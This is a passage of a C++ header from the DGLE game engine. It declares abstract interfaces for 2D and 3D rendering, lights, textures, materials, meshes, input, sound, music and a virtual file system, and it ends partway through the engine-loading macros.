&stCenter, float fAngle = 0.f, const TVector2 &stScale = TVector2(1.f, 1.f)) = 0; virtual DGLE_RESULT DGLE_API ResetCamera() = 0; virtual DGLE_RESULT DGLE_API UnprojectCameraToScreen(const TPoint2 &stCameraCoord, TPoint2 &stScreenCoord) = 0; virtual DGLE_RESULT DGLE_API ProjectScreenToCamera(const TPoint2 &stScreenCoord, TPoint2 &stCameraCoord) = 0; virtual DGLE_RESULT DGLE_API CullBoundingBox(const TRectF &stBBox, float fAngle, bool &bCull) = 0; // 2D Primitives virtual DGLE_RESULT DGLE_API SetLineWidth(uint uiWidth) = 0; virtual DGLE_RESULT DGLE_API DrawPoint(const TPoint2 &stCoords, const TColor4 &stColor = ColorWhite(), uint uiSize = 1) = 0; virtual DGLE_RESULT DGLE_API DrawLine(const TPoint2 &stCoords1, const TPoint2 &stCoords2, const TColor4 &stColor = ColorWhite(), E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawRectangle(const TRectF &stRect, const TColor4 &stColor = ColorWhite(), E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawCircle(const TPoint2 &stCoords, uint uiRadius, uint uiQuality, const TColor4 &stColor = ColorWhite(), E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawEllipse(const TPoint2 &stCoords, const TVector2 &stRadius, uint uiQuality, const TColor4 &stColor = ColorWhite(), E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawPolygon(ITexture *pTexture, const TVertex2 *pstVertices, uint uiVerticesCount, E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; // 2D Sprites virtual DGLE_RESULT DGLE_API DrawTexture(ITexture *pTexture, const TPoint2 &stCoords, const TVector2 &stDimensions, float fAngle = 0.f, E_EFFECT2D_FLAGS eFlags = EF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawTextureCropped(ITexture *pTexture, const TPoint2 &stCoords, const TVector2 &stDimensions, const TRectF &stTexCropRect, float fAngle = 0.f, E_EFFECT2D_FLAGS eFlags = EF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawTextureSprite(ITexture *pTexture, const TPoint2 &stCoords, const TVector2 &stDimensions, uint uiFrameIndex, float fAngle = 0.f, E_EFFECT2D_FLAGS eFlags = EF_DEFAULT) = 0; // Extra virtual DGLE_RESULT DGLE_API DrawTriangles(ITexture *pTexture, const TVertex2 *pstVertices, uint uiVerticesCount, E_PRIMITIVE2D_FLAGS eFlags = PF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API DrawMesh(IMesh *pMesh, ITexture *pTexture, const TPoint2 &stCoords, const TVector3 &stDimensions, const TVector3 &stAxis = TVector3(), float fAngle = 0.f, E_EFFECT2D_FLAGS eFlags = EF_DEFAULT, bool bClip = true, float fFovY = 90.f, bool bClearDepthBuffer = false) = 0; //Advanced virtual DGLE_RESULT DGLE_API Draw(ITexture *pTexture, const TDrawDataDesc &stDrawDesc, E_CORE_RENDERER_DRAW_MODE eMode, uint uiCount, const TRectF &stAABB, E_EFFECT2D_FLAGS eFlags) = 0; virtual DGLE_RESULT DGLE_API DrawBuffer(ITexture *pTexture, ICoreGeometryBuffer *pBuffer, const TRectF &stAABB, E_EFFECT2D_FLAGS eFlags) = 0; virtual DGLE_RESULT DGLE_API DrawBuffer3D(ITexture *pTexture, ICoreGeometryBuffer *pBuffer, E_EFFECT2D_FLAGS eFlags, const TMatrix4x4 &stTransform, const TPoint3 &stCenter, const TVector3 &stExtents, bool bClip, float fFovY, bool bClearDepthBuffer) = 0; //Effects virtual DGLE_RESULT DGLE_API SetRotationPoint(const TPoint2 &stCoords) = 0;//In texture coord system virtual DGLE_RESULT DGLE_API SetScale(const TPoint2 &stScale) = 0; virtual DGLE_RESULT DGLE_API SetColorMix(const TColor4 &stColor = ColorWhite()) = 0; virtual DGLE_RESULT DGLE_API SetBlendMode(E_BLENDING_EFFECT eMode = BE_NORMAL) = 0; virtual DGLE_RESULT DGLE_API SetVerticesOffsets(const TPoint2 &stCoords1, const TPoint2 &stCoords2, const TPoint2 &stCoords3, const TPoint2 &stCoords4) = 0; virtual DGLE_RESULT DGLE_API SetVerticesColors(const TColor4 &stColor1, const TColor4 &stColor2, const TColor4 &stColor3, const TColor4 &stColor4) = 0; virtual DGLE_RESULT DGLE_API GetRotationPoint(TPoint2 &stCoords) = 0; virtual DGLE_RESULT DGLE_API GetScale(TPoint2 &stScale) = 0; virtual DGLE_RESULT DGLE_API GetColorMix(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetBlendMode(E_BLENDING_EFFECT &eMode) = 0; virtual DGLE_RESULT DGLE_API GetVerticesOffsets(TPoint2 &stCoords1, TPoint2 &stCoords2, TPoint2 &stCoords3, TPoint2 &stCoords4) = 0; virtual DGLE_RESULT DGLE_API GetVerticesColors(TColor4 &stColor1, TColor4 &stColor2, TColor4 &stColor3, TColor4 &stColor4) = 0; }; //Render3D interface// // {5275F43A-4FF9-48b2-B88E-B2F842461AB3} static const GUID IID_IRender3D = { 0x5275f43a, 0x4ff9, 0x48b2, { 0xb8, 0x8e, 0xb2, 0xf8, 0x42, 0x46, 0x1a, 0xb3 } }; class IRender3D : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API SetPerspective(float fFovAngle, float fZNear, float fZFar) = 0; virtual DGLE_RESULT DGLE_API GetPerspective(float &fFovAngle, float &fZNear, float &fZFar) = 0; virtual DGLE_RESULT DGLE_API SetColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API BindTexture(ITexture *pTex, uint uiTextureLayer) = 0; virtual DGLE_RESULT DGLE_API GetTexture(ITexture *&prTex, uint uiTextureLayer) = 0; virtual DGLE_RESULT DGLE_API GetMaxLightsPerPassCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API UpdateLight(ILight *pLight) = 0; virtual DGLE_RESULT DGLE_API BindMaterial(IMaterial *pMat) = 0; virtual DGLE_RESULT DGLE_API GetMaterial(IMaterial *&prMat) = 0; virtual DGLE_RESULT DGLE_API ToggleBlending(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API IsBlendingEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetBlendMode(E_BLENDING_EFFECT eMode = BE_NORMAL) = 0; virtual DGLE_RESULT DGLE_API GetBlendMode(E_BLENDING_EFFECT &eMode) = 0; virtual DGLE_RESULT DGLE_API ToggleAlphaTest(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetAlphaTreshold(float fTreshold) = 0; virtual DGLE_RESULT DGLE_API IsAlphaTestEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetAlphaTreshold(float &fTreshold) = 0; virtual DGLE_RESULT DGLE_API ClearDepthBuffer() = 0; virtual DGLE_RESULT DGLE_API ToggleDepthTest(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API IsDepthTestEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API ToggleBackfaceCulling(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API IsBackfaceCullingEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API Draw(const TDrawDataDesc &stDrawDesc, E_CORE_RENDERER_DRAW_MODE eMode, uint uiCount) = 0; virtual DGLE_RESULT DGLE_API DrawBuffer(ICoreGeometryBuffer *pBuffer) = 0; virtual DGLE_RESULT DGLE_API ToggleFog(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetLinearFogBounds(float fStart, float fEnd) = 0; virtual DGLE_RESULT DGLE_API SetFogColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API IsFogEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetLinearFogBounds(float &fStart, float &fEnd) = 0; virtual DGLE_RESULT DGLE_API GetFogColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetMatrix(const TMatrix4x4 &stMatrix) = 0; virtual DGLE_RESULT DGLE_API MultMatrix(const TMatrix4x4 &stMatrix) = 0; virtual DGLE_RESULT DGLE_API PushMatrix() = 0; virtual DGLE_RESULT DGLE_API PopMatrix() = 0; virtual DGLE_RESULT DGLE_API GetMatrix(TMatrix4x4 &stMatrix) = 0; virtual DGLE_RESULT DGLE_API DrawAxes(float fSize = 1.f, bool bNoDepthTest = false) = 0; virtual DGLE_RESULT DGLE_API ResetStates() = 0; virtual DGLE_RESULT DGLE_API PushStates() = 0; virtual DGLE_RESULT DGLE_API PopStates() = 0; virtual DGLE_RESULT DGLE_API GetPoint3(const TPoint2 &stPointOnScreen, TPoint3 &stResultPoint, E_GET_POINT3_MODE eFlag = GP3M_FROM_DEPTH_BUFFER) = 0; virtual DGLE_RESULT DGLE_API GetPoint2(const TPoint3 &stPoint, TPoint2 &stResultPointOnScreen) = 0; virtual DGLE_RESULT DGLE_API SetupFrustum() = 0; virtual DGLE_RESULT DGLE_API CullPoint(const TPoint3 &stCoords, bool &bCull) = 0; virtual DGLE_RESULT DGLE_API CullSphere(const TPoint3 &stCenter, float fRadius, bool &bCull) = 0; virtual DGLE_RESULT DGLE_API CullBox(const TPoint3 &stCenter, const TVector3 &stExtents, bool &bCull) = 0; virtual DGLE_RESULT DGLE_API ToggleLighting(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetGlobalAmbientLighting(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API IsLightingEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetGlobalAmbientLighting(TColor4 &stColor) = 0; }; //Light interface// enum E_LIGHT_TYPE { LT_DIRECTIONAL = 0, LT_POINT, LT_SPOT }; // {EB73AC84-A465-4554-994D-8BED29744C9D} static const GUID IID_ILight = { 0xeb73ac84, 0xa465, 0x4554, { 0x99, 0x4d, 0x8b, 0xed, 0x29, 0x74, 0x4c, 0x9d } }; class ILight: public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API SetEnabled(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetPosition(const TPoint3 &stPos) = 0; virtual DGLE_RESULT DGLE_API SetDirection(const TVector3 &stDir) = 0; virtual DGLE_RESULT DGLE_API SetRange(float fRange) = 0; virtual DGLE_RESULT DGLE_API SetIntensity(float fIntensity) = 0; virtual DGLE_RESULT DGLE_API SetSpotAngle(float fAngle) = 0; virtual DGLE_RESULT DGLE_API SetType(E_LIGHT_TYPE eType) = 0; virtual DGLE_RESULT DGLE_API GetEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetPosition(TPoint3 &stPos) = 0; virtual DGLE_RESULT DGLE_API GetDirection(TVector3 &stDir) = 0; virtual DGLE_RESULT DGLE_API GetRange(float &fRange) = 0; virtual DGLE_RESULT DGLE_API GetIntensity(float &fIntensity) = 0; virtual DGLE_RESULT DGLE_API GetSpotAngle(float &fAngle) = 0; virtual DGLE_RESULT DGLE_API GetType(E_LIGHT_TYPE &eType) = 0; virtual DGLE_RESULT DGLE_API Update() = 0; }; //Texture interface// class ICoreTexture; // {85BDDBC2-F126-4cae-946D-7D6B079E5CCE} static const GUID IID_ITexture = { 0x85bddbc2, 0xf126, 0x4cae, { 0x94, 0x6d, 0x7d, 0x6b, 0x7, 0x9e, 0x5c, 0xce } }; class ITexture : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API GetDimensions(uint &uiWidth, uint &uiHeight) = 0; virtual DGLE_RESULT DGLE_API SetFrameSize(uint uiFrameWidth, uint uiFrameHeight) = 0; virtual DGLE_RESULT DGLE_API GetFrameSize(uint &uiFrameWidth, uint &uiFrameHeight) = 0; virtual DGLE_RESULT DGLE_API FramesCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API GetCoreTexture(ICoreTexture *&prCoreTex) = 0; virtual DGLE_RESULT DGLE_API Draw2DSimple(int iX, int iY, uint uiFrameIndex = 0) = 0; virtual DGLE_RESULT DGLE_API Draw2D(int iX, int iY, uint uiWidth, uint uiHeight, float fAngle = 0.f, uint uiFrameIndex = 0) = 0; virtual DGLE_RESULT DGLE_API Draw3D(uint uiFrameIndex = 0) = 0; virtual DGLE_RESULT DGLE_API Bind(uint uiTextureLayer = 0) = 0; }; //Material interface// // {B6506749-BB41-423d-B6C0-982081EF63F9} static const GUID IID_IMaterial = { 0xb6506749, 0xbb41, 0x423d, { 0xb6, 0xc0, 0x98, 0x20, 0x81, 0xef, 0x63, 0xf9 } }; class IMaterial: public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API SetDiffuseColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetSpecularColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetShininess(float fShininess) = 0; virtual DGLE_RESULT DGLE_API SetDiffuseTexture(ITexture *pTexture) = 0; virtual DGLE_RESULT DGLE_API SetBlending(bool bEnabled, E_BLENDING_EFFECT eMode) = 0; virtual DGLE_RESULT DGLE_API SetAlphaTest(bool bEnabled, float fTreshold) = 0; virtual DGLE_RESULT DGLE_API GetDiffuseColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetSpecularColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetShininess(float &fShininess) = 0; virtual DGLE_RESULT DGLE_API GetDiffuseTexture(ITexture *&prTexture) = 0; virtual DGLE_RESULT DGLE_API GetBlending(bool &bEnabled, E_BLENDING_EFFECT &eMode) = 0; virtual DGLE_RESULT DGLE_API GetAlphaTest(bool &bEnabled, float &fTreshold) = 0; virtual DGLE_RESULT DGLE_API Bind() = 0; }; //BitmapFont interface// // {0B03E8D7-23A3-4c79-9E82-5BC6E50E1EBA} static const GUID IID_IBitmapFont = { 0xb03e8d7, 0x23a3, 0x4c79, { 0x9e, 0x82, 0x5b, 0xc6, 0xe5, 0xe, 0x1e, 0xba } }; class IBitmapFont : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API GetTexture(ITexture *&prTexture) = 0; virtual DGLE_RESULT DGLE_API SetScale(float fScale) = 0; virtual DGLE_RESULT DGLE_API GetScale(float &fScale) = 0; virtual DGLE_RESULT DGLE_API GetTextDimensions(const char *pcTxt, uint &uiWidth, uint &uiHeight) = 0; virtual DGLE_RESULT DGLE_API Draw2DSimple(int iX, int iY, const char *pcTxt, const TColor4 &stColor = ColorWhite()) = 0; virtual DGLE_RESULT DGLE_API Draw2D(float fX, float fY, const char *pcTxt, const TColor4 &stColor = ColorWhite(), float fAngle = 0, bool bVerticesColors = false) = 0; virtual DGLE_RESULT DGLE_API Draw3D(const char *pcTxt) = 0; }; //3D Objects interfaces// //Mesh interface// // {85E360A8-07B3-4f22-AA29-07C7FC7C6893} static const GUID IID_IMesh = { 0x85e360a8, 0x7b3, 0x4f22, { 0xaa, 0x29, 0x7, 0xc7, 0xfc, 0x7c, 0x68, 0x93 } }; class IMesh : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API Draw() = 0; virtual DGLE_RESULT DGLE_API GetCenter(TPoint3 &stCenter) = 0; virtual DGLE_RESULT DGLE_API GetExtents(TVector3 &stExtents) = 0; virtual DGLE_RESULT DGLE_API GetTrianglesCount(uint &uiCnt) = 0; virtual DGLE_RESULT DGLE_API GetGeometryBuffer(ICoreGeometryBuffer *&prBuffer) = 0; virtual DGLE_RESULT DGLE_API SetGeometryBuffer(ICoreGeometryBuffer *pBuffer, bool bFreeCurrentBuffer) = 0; virtual DGLE_RESULT DGLE_API RecalculateNormals(bool bInvert = false) = 0; virtual DGLE_RESULT DGLE_API RecalculateTangentSpace() = 0; virtual DGLE_RESULT DGLE_API RecalculateBounds() = 0; virtual DGLE_RESULT DGLE_API TransformVertices(const TMatrix4x4 &stTransMatrix) = 0; virtual DGLE_RESULT DGLE_API Optimize() = 0; virtual DGLE_RESULT DGLE_API GetOwner(IModel *&prModel) = 0; virtual DGLE_RESULT DGLE_API SetOwner(IModel *pModel) = 0; }; //Multi mesh interface// // {6107C296-FC07-48d1-B6A7-F88CC2DAE897} static const GUID IID_IModel = { 0x6107c296, 0xfc07, 0x48d1, { 0xb6, 0xa7, 0xf8, 0x8c, 0xc2, 0xda, 0xe8, 0x97 } }; class IModel : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API Draw() = 0; virtual DGLE_RESULT DGLE_API DrawMesh(uint uiMeshIdx) = 0; virtual DGLE_RESULT DGLE_API GetCenter(TPoint3 &stCenter) = 0; virtual DGLE_RESULT DGLE_API GetExtents(TVector3 &stExtents) = 0; virtual DGLE_RESULT DGLE_API MeshesCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API GetMesh(uint uiMeshIdx, IMesh *&prMesh) = 0; virtual DGLE_RESULT DGLE_API SetModelMaterial(IMaterial *pMaterial) = 0; virtual DGLE_RESULT DGLE_API GetModelMaterial(IMaterial *&prMaterial) = 0; virtual DGLE_RESULT DGLE_API SetMeshMaterial(uint uiMeshIdx, IMaterial *pMaterial) = 0; virtual DGLE_RESULT DGLE_API GetMeshMaterial(uint uiMeshIdx, IMaterial *&prMaterial) = 0; virtual DGLE_RESULT DGLE_API AddMesh(IMesh *pMesh) = 0; virtual DGLE_RESULT DGLE_API RemoveMesh(IMesh *pMesh) = 0; virtual DGLE_RESULT DGLE_API ReplaceMesh(uint uiMeshIdx, IMesh *pMesh) = 0; }; //Input SubSystem// enum E_INPUT_CONFIGURATION_FLAGS { ICF_DEFAULT = 0x00000000, ICF_EXCLUSIVE = 0x00000001, ICF_HIDE_CURSOR = 0x00000002, ICF_CURSOR_BEYOND_SCREEN = 0x00000004 }; // {64DAAF7F-F92C-425f-8B92-3BE40D8C6666} static const GUID IID_IInput = { 0x64daaf7f, 0xf92c, 0x425f, { 0x8b, 0x92, 0x3b, 0xe4, 0xd, 0x8c, 0x66, 0x66 } }; class IInput : public IEngineSubSystem { public: virtual DGLE_RESULT DGLE_API Configure(E_INPUT_CONFIGURATION_FLAGS eFlags = ICF_DEFAULT) = 0; virtual DGLE_RESULT DGLE_API GetMouseStates(TMouseStates &stMStates) = 0; virtual DGLE_RESULT DGLE_API GetKey(E_KEYBOARD_KEY_CODES eKeyCode, bool &bPressed) = 0; virtual DGLE_RESULT DGLE_API GetKeyName(E_KEYBOARD_KEY_CODES eKeyCode, uchar &cASCIICode) = 0; virtual DGLE_RESULT DGLE_API BeginTextInput(char* pcBuffer, uint uiBufferSize) = 0; virtual DGLE_RESULT DGLE_API EndTextInput() = 0; virtual DGLE_RESULT DGLE_API GetJoysticksCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API GetJoystickName(uint uiJoyId, char *pcName, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetJoystickStates(uint uiJoyId, TJoystickStates &stJoyStates) = 0; }; //Sound SubSystem interfaces// class ISoundChannel; // {054C07EE-2724-42f2-AC2B-E81FCF5B4ADA} static const GUID IID_ISound = { 0x54c07ee, 0x2724, 0x42f2, { 0xac, 0x2b, 0xe8, 0x1f, 0xcf, 0x5b, 0x4a, 0xda } }; class ISound : public IEngineSubSystem { public: virtual DGLE_RESULT DGLE_API SetMasterVolume(uint uiVolume) = 0; virtual DGLE_RESULT DGLE_API MasterPause(bool bPaused) = 0; virtual DGLE_RESULT DGLE_API StopAllChannels() = 0; virtual DGLE_RESULT DGLE_API GetMaxChannelsCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API GetFreeChannelsCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API ReleaseChannelsByData(const uint8 *pData) = 0; virtual DGLE_RESULT DGLE_API ReleaseChannelsByCallback(void (DGLE_API *pStreamCallback)(void *pParameter, uint32 ui32DataPos, uint8 *pBufferData, uint uiBufferSize)) = 0; // pData presents samples in 16-bit signed little-endian PCM format virtual DGLE_RESULT DGLE_API CreateChannel(ISoundChannel *&prSndChnl, uint uiSamplesPerSec, uint uiBitsPerSample, bool bStereo, const uint8 *pData, uint32 ui32DataSize) = 0; //Data not copied! virtual DGLE_RESULT DGLE_API CreateStreamableChannel(ISoundChannel *&prSndChnl, uint uiSamplesPerSec, uint uiBitsPerSample, bool bStereo, uint32 ui32DataSize, void (DGLE_API *pStreamCallback)(void *pParameter, uint32 ui32DataPos, uint8 *pBufferData, uint uiBufferSize) /*callback is being called from separate thread*/, void *pParameter) = 0; }; //SoundSample interface// // {DE6F7CDD-8262-445c-8D20-68E3324D99A6} static const GUID IID_ISoundChannel = { 0xde6f7cdd, 0x8262, 0x445c, { 0x8d, 0x20, 0x68, 0xe3, 0x32, 0x4d, 0x99, 0xa6 } }; class ISoundChannel : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API Play(bool bLooped) = 0; virtual DGLE_RESULT DGLE_API Pause() = 0; virtual DGLE_RESULT DGLE_API Stop() = 0; virtual DGLE_RESULT DGLE_API IsPlaying(bool &bIsPlaying) = 0; virtual DGLE_RESULT DGLE_API SetVolume(uint uiVolume) = 0; //from 0 to 100 virtual DGLE_RESULT DGLE_API GetVolume(uint &uiVolume) = 0; virtual DGLE_RESULT DGLE_API SetPan(int iPan) = 0; //from -100 to 100 virtual DGLE_RESULT DGLE_API GetPan(int &iPan) = 0; virtual DGLE_RESULT DGLE_API SetSpeed(uint uiSpeed) = 0;//in percents virtual DGLE_RESULT DGLE_API GetSpeed(uint &uiSpeed) = 0; virtual DGLE_RESULT DGLE_API SetCurrentPosition(uint uiPos) = 0; virtual DGLE_RESULT DGLE_API GetCurrentPosition(uint &uiPos) = 0; virtual DGLE_RESULT DGLE_API GetLength(uint &uiLength) = 0; virtual DGLE_RESULT DGLE_API IsStreamable(bool &bStreamable) = 0; virtual DGLE_RESULT DGLE_API Unaquire() = 0; }; enum E_SOUND_SAMPLE_PARAMS { SSP_NONE = 0x00000000, SSP_LOOPED = 0x00000001 }; // {30DD8C94-D3FA-40cf-9C49-649211424919} static const GUID IID_ISoundSample = { 0x30dd8c94, 0xd3fa, 0x40cf, { 0x9c, 0x49, 0x64, 0x92, 0x11, 0x42, 0x49, 0x19 } }; class ISoundSample : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API Play(int iPan = 0) = 0; virtual DGLE_RESULT DGLE_API PlayEx(ISoundChannel *&pSndChnl, E_SOUND_SAMPLE_PARAMS eFlags = SSP_NONE) = 0; //pSndChnl must be checked on null virtual DGLE_RESULT DGLE_API SetVolume(uint uiVolume) = 0; virtual DGLE_RESULT DGLE_API GetVolume(uint &uiVolume) = 0; }; //Music interface// // {81F1E67B-3FEB-4ab1-9AD2-D27C4E662164} static const GUID IID_IMusic = { 0x81f1e67b, 0x3feb, 0x4ab1, { 0x9a, 0xd2, 0xd2, 0x7c, 0x4e, 0x66, 0x21, 0x64 } }; class IMusic : public IEngineBaseObject { public: virtual DGLE_RESULT DGLE_API Play(bool bLooped = true) = 0; virtual DGLE_RESULT DGLE_API Pause(bool bPaused) = 0; virtual DGLE_RESULT DGLE_API Stop() = 0; virtual DGLE_RESULT DGLE_API IsPlaying(bool &bIsPlaying) = 0; virtual DGLE_RESULT DGLE_API SetVolume(uint uiVolume) = 0; virtual DGLE_RESULT DGLE_API GetVolume(uint &uiVolume) = 0; virtual DGLE_RESULT DGLE_API SetCurrentPosition(uint uiPos) = 0; virtual DGLE_RESULT DGLE_API GetCurrentPosition(uint &uiPos) = 0; virtual DGLE_RESULT DGLE_API GetLength(uint &uiLength) = 0; }; //FileSystem SubSystem// class IFileSystem; // {4850286F-4770-4bcf-A90A-33D7BE41E686} static const GUID IID_IMainFileSystem = { 0x4850286f, 0x4770, 0x4bcf, { 0xa9, 0xa, 0x33, 0xd7, 0xbe, 0x41, 0xe6, 0x86 } }; class IMainFileSystem : public IEngineSubSystem { public: virtual DGLE_RESULT DGLE_API LoadFile(const char* pcFileName, IFile *&prFile) = 0;// c:\data.zip|img.jpg virtual DGLE_RESULT DGLE_API FreeFile(IFile *&prFile) = 0; virtual DGLE_RESULT DGLE_API GetVirtualFileSystem(const char *pcVFSExtension/*NULL to get HDD file system*/, IFileSystem *&prVFS) = 0; virtual DGLE_RESULT DGLE_API RegisterVirtualFileSystem(const char* pcVFSExtension, const char *pcDescription, IFileSystem *pVFS, void (DGLE_API *pDeleteDGLE_API)(void *pParameter, IFileSystem *pVFS), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API UnregisterVirtualFileSystem(const char* pcVFSExtension) = 0; virtual DGLE_RESULT DGLE_API GetRegisteredVirtualFileSystems(char* pcTxt, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetVirtualFileSystemDescription(const char* pcVFSExtension, char* pcTxt, uint &uiCharsCount) = 0; }; enum E_FIND_FLAGS { FF_RECURSIVE = 1 }; enum E_FILE_SYSTEM_OPEN_FLAGS { FSOF_READ = 0x00000001, FSOF_WRITE = 0x00000002, FSOF_TRUNC = 0x00000004, FSOF_BINARY = 0x00000008 }; enum E_FILE_SYSTEM_SEEK_FLAG { FSSF_BEGIN = 0, FSSF_CURRENT, FSSF_END }; //File interface// // {AE6E8AE7-3E5B-4bc4-A512-42E1CF1DF005} static const GUID IID_IFile = { 0xae6e8ae7, 0x3e5b, 0x4bc4, { 0xa5, 0x12, 0x42, 0xe1, 0xcf, 0x1d, 0xf0, 0x5 } }; class IFile : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API Read(void *pBuffer, uint uiCount, uint &uiRead) = 0; virtual DGLE_RESULT DGLE_API Write(const void *pBuffer, uint uiCount, uint &uiWritten) = 0; virtual DGLE_RESULT DGLE_API Seek(uint32 ui32Offset, E_FILE_SYSTEM_SEEK_FLAG eWay, uint32 &ui32Position) = 0; virtual DGLE_RESULT DGLE_API GetSize(uint32 &ui32Size) = 0; virtual DGLE_RESULT DGLE_API IsOpen(bool &bOpened) = 0; virtual DGLE_RESULT DGLE_API GetName(char *pcName, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetPath(char *pcPath, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API Free() = 0; }; //FileIterator interface// // {5D73F249-0E74-4cc5-9646-270CB1E22750} static const GUID IID_IFileIterator = { 0x5d73f249, 0xe74, 0x4cc5, { 0x96, 0x46, 0x27, 0xc, 0xb1, 0xe2, 0x27, 0x50 } }; class IFileIterator : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API FileName(char *pcName, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API Next() = 0; virtual DGLE_RESULT DGLE_API Free() = 0; }; //FileSystem interface// // {2DAE578E-9636-4fae-BABB-7D835EEA7518} static const GUID IID_IFileSystem = { 0x2dae578e, 0x9636, 0x4fae, { 0xba, 0xbb, 0x7d, 0x83, 0x5e, 0xea, 0x75, 0x18 } }; class IFileSystem : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API OpenFile(const char *pcName, E_FILE_SYSTEM_OPEN_FLAGS eFlags, IFile *&prFile) = 0; // if only filepath is passed, i.e. "C:\MyFolder\" then it creates directory virtual DGLE_RESULT DGLE_API DeleteFile(const char *pcName) = 0; // if only filepath is passed, then it deletes directory virtual DGLE_RESULT DGLE_API FileExists(const char *pcName, bool &bExists) = 0;// if only filepath is passed, then it verifies existence of directory virtual DGLE_RESULT DGLE_API Find(const char *pcMask, E_FIND_FLAGS eFlags, IFileIterator *&prIterator) = 0; }; enum E_GET_ENGINE_FLAGS { GEF_DEFAULT = 0x00000000, GEF_FORCE_SINGLE_THREAD = 0x00000001, GEF_FORCE_NO_LOG_FILE = 0x00000002, GEF_FORCE_QUIT = 0x00000004 }; }//namespace DGLE // Engine initialization macroses // /** \def DGLE_EXTERN_FUNC Macros you can insert in any cpp file to use CreateEngine and FreeEngine functions. \note In your main cpp file you must include DGLE_STATIC_FUNC or DGLE_DYNAMIC_FUNC anyway. This macros provides two functions CreateEngine and FreeEngine. \warning If you have more than one instance of engine you must set bFreeLib Parameter to true only when releasing the last engine instance. \see E_GET_ENGINE_FLAGS */ #define DGLE_EXTERN_FUNC \ extern bool CreateEngine(DGLE::IEngineCore *&pEngineCore, DGLE::E_GET_ENGINE_FLAGS eFlags = DGLE::GEF_DEFAULT);\ extern bool FreeEngine(DGLE::IEngineCore *pEngineCore, bool bFreeLib = false); /** \def DGLE_STATIC_FUNC Macros you must insert in your main cpp file to use CreateEngine and FreeEngine functions. \note This macros is used when engine is linked statically from object file. This macros provides two functions CreateEngine and FreeEngine. Parameter bFreeLib for FreeEngine is not used. \see E_GET_ENGINE_FLAGS */ #define DGLE_STATIC_FUNC \ DGLE_EXTERN_FUNC\ error Static linking is not implemented! /** \def DGLE_DYNAMIC_FUNC Macros you must insert in your main cpp file to use GetEngine, CreateEngine and FreeEngine functions. \note This macros is used when engine is linked dynamically from library file (ex. DLL for Windows). This macros provides three functions GetEngine, CreateEngine and FreeEngine. First one must be called to load engine from dynamic library. \see E_GET_ENGINE_FLAGS */ #define DGLE_DYNAMIC_FUNC \ bool (CALLBACK *pCreateEngine)(DGLE::IEngineCore *&pEngineCore, DGLE::E_GET_ENGINE_FLAGS eFlags, DGLE::uint8 ubtSDKVer) = NULL; \ bool (CALLBACK *pFreeEngine)(DGLE::IEngineCore *pEngineCore) = NULL; \ HMODULE hServer = NULL; \ bool CreateEngine(DGLE::IEngineCore *&pEngineCore, DGLE::E_GET_ENGINE_FLAGS eFlags = DGLE::GEF_DEFAULT) \ { \ if (pCreateEngine == NULL) 